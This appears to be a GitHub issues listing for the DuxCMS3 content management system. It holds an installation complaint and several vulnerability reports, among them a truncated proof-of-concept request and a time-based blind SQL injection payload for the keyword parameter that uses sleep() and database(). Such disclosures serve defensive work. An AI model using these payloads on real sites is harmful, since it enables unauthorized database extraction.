DuxCMS3

DuxCMS3 copied to clipboard

sql injection vulnerability exists in tools SendTpl module, url is /s/tools/SendTpl/index?keyword=xxx, please check SystemExtendAdmin.php 39-50 more details in https://www.star123.top/2021/01/16/duxcms3-1-3%E5%AE%A1%E8%AE%A1/#more

stArl23

安装完以后没反映

1

安装完以后没反映，显示完成安装，再次访问首页还是要继续走安装流程

JamesKid

Project address: https://github.com/duxphp/DuxCMS3/ Preparation: log in to the background. ### Vulnerability URL: http://127.0.0.1:8093/s/article/Content/add?  POC: ```bash POST http://127.0.0.1:8093/s/article/Content/add? HTTP/1.1 Host: 127.0.0.1:8093 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101...

czheisenberg

Preparatory work: Log in to the backend-get cookie. Vulnerability URL: http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword= Vulnerability parameter: keyword payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a/**/union/**/select+1)=%27 If the injection is successful, the delay is more than one second, otherwise there...

czheisenberg